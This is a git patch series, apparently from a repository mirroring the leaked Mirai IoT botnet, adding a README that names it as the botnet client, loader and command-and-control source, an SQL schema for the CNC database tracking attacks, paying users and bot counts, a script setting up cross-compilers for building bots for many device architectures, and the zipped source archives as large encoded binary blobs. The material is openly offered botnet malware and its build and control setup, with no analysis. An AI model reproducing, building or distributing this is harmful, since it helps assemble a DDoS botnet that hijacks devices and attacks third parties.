-# Golang -export PATH=$PATH:/usr/local/go/bin -export GOPATH=$HOME/Documents/go - --- END -- \ No newline at end of file From 507c117ddf3bd5ab112c4dfb63a75906dd22aded Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:34:40 +0800 Subject: [PATCH 16/26] Create README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..8ad4fe9 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# Mirai Botnet Client, Echo Loader and CNC source code + +This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). From c87b41f0b60c2780f5421c35fdca5f4a3a4c6b06 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:41:37 +0800 Subject: [PATCH 17/26] Add files via upload --- README.md | 20 -------------------- 1 file changed, 20 deletions(-) diff --git a/README.md b/README.md index 468cd0c..6b54e3d 100755 --- a/README.md +++ b/README.md @@ -1,23 +1,3 @@ # Mirai Botnet Client, Echo Loader and CNC source code This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). - ---- - -I found - -mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) - -loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/) - -dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/) - -Maybe they are original files. - - - -Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) - -Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) - -Felicitychou From 3f80dfb16e01869072b3d295a9f3c8cefb0ce1d8 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:49:46 +0800 Subject: [PATCH 18/26] upload --- Configuring_CNC_Database.txt | 36 ++++++++++++++++++++ README.md | 24 +++++++++++-- Setting_Up_Cross_Compilers.sh | 62 ++++++++++++++++++++++++++++++++++ dlr.src.zip | Bin 0 -> 11218 bytes loader.src.zip | Bin 0 -> 27520 bytes mirai.src.zip | Bin 0 -> 71634 bytes 6 files changed, 120 insertions(+), 2 deletions(-) create mode 100644 Configuring_CNC_Database.txt create mode 100644 Setting_Up_Cross_Compilers.sh create mode 100644 dlr.src.zip create mode 100644 loader.src.zip create mode 100644 mirai.src.zip diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt new file mode 100644 index 0000000..3aedc33 --- /dev/null +++ b/Configuring_CNC_Database.txt @@ -0,0 +1,36 @@ +CREATE DATABASE mirai; + +CREATE TABLE `history` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `user_id` int(10) unsigned NOT NULL, + `time_sent` int(10) unsigned NOT NULL, + `duration` int(10) unsigned NOT NULL, + `command` text NOT NULL, + `max_bots` int(11) DEFAULT '-1', + PRIMARY KEY (`id`), + KEY `user_id` (`user_id`) +); + +CREATE TABLE `users` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `username` varchar(32) NOT NULL, + `password` varchar(32) NOT NULL, + `duration_limit` int(10) unsigned DEFAULT NULL, + `cooldown` int(10) unsigned NOT NULL, + `wrc` int(10) unsigned DEFAULT NULL, + `last_paid` int(10) unsigned NOT NULL, + `max_bots` int(11) DEFAULT '-1', + `admin` int(10) unsigned DEFAULT '0', + `intvl` int(10) unsigned DEFAULT '30', + `api_key` text, + PRIMARY KEY (`id`), + KEY `username` (`username`) +); + +CREATE TABLE `whitelist` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `prefix` varchar(16) DEFAULT NULL, + `netmask` tinyint(3) unsigned DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `prefix` (`prefix`) +); \ No newline at end of file diff --git a/README.md b/README.md index 8ad4fe9..468cd0c 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,23 @@ -# Mirai Botnet Client, Echo Loader and CNC source code - +# Mirai Botnet Client, Echo Loader and CNC source code + This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). + +--- + +I found + +mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) + +loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/) + +dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/) + +Maybe they are original files. + + + +Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) + +Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) + +Felicitychou diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh new file mode 100644 index 0000000..5ee2e6b --- /dev/null +++ b/Setting_Up_Cross_Compilers.sh @@ -0,0 +1,62 @@ +# RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc + +# You're gay if you don't use Debian +apt-get install gcc golang electric-fence + +mkdir /etc/xcompile +cd /etc/xcompile + +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 + +tar -jxf cross-compiler-armv4l.tar.bz2 +tar -jxf cross-compiler-i586.tar.bz2 +tar -jxf cross-compiler-m68k.tar.bz2 +tar -jxf cross-compiler-mips.tar.bz2 +tar -jxf cross-compiler-mipsel.tar.bz2 +tar -jxf cross-compiler-powerpc.tar.bz2 +tar -jxf cross-compiler-sh4.tar.bz2 +tar -jxf cross-compiler-sparc.tar.bz2 + +rm *.tar.bz2 +mv cross-compiler-armv4l armv4l +mv cross-compiler-i586 i586 +mv cross-compiler-m68k m68k +mv cross-compiler-mips mips +mv cross-compiler-mipsel mipsel +mv cross-compiler-powerpc powerpc +mv cross-compiler-sh4 sh4 +mv cross-compiler-sparc sparc + +-- END -- + + + + + + +# PUT THESE COMMANDS IN THE FILE ~/.bashrc + +# Cross compiler toolchains +export PATH=$PATH:/etc/xcompile/armv4l/bin +export PATH=$PATH:/etc/xcompile/armv6l/bin +export PATH=$PATH:/etc/xcompile/i586/bin +export PATH=$PATH:/etc/xcompile/m68k/bin +export PATH=$PATH:/etc/xcompile/mips/bin +export PATH=$PATH:/etc/xcompile/mipsel/bin +export PATH=$PATH:/etc/xcompile/powerpc/bin +export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin +export PATH=$PATH:/etc/xcompile/sh4/bin +export PATH=$PATH:/etc/xcompile/sparc/bin + +# Golang +export PATH=$PATH:/usr/local/go/bin +export GOPATH=$HOME/Documents/go + +-- END -- \ No newline at end of file diff --git a/dlr.src.zip b/dlr.src.zip new file mode 100644 index 0000000000000000000000000000000000000000..38586f825c9f7f5ed9d3e0b60444e590c8a4e56f GIT binary patch literal 11218 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 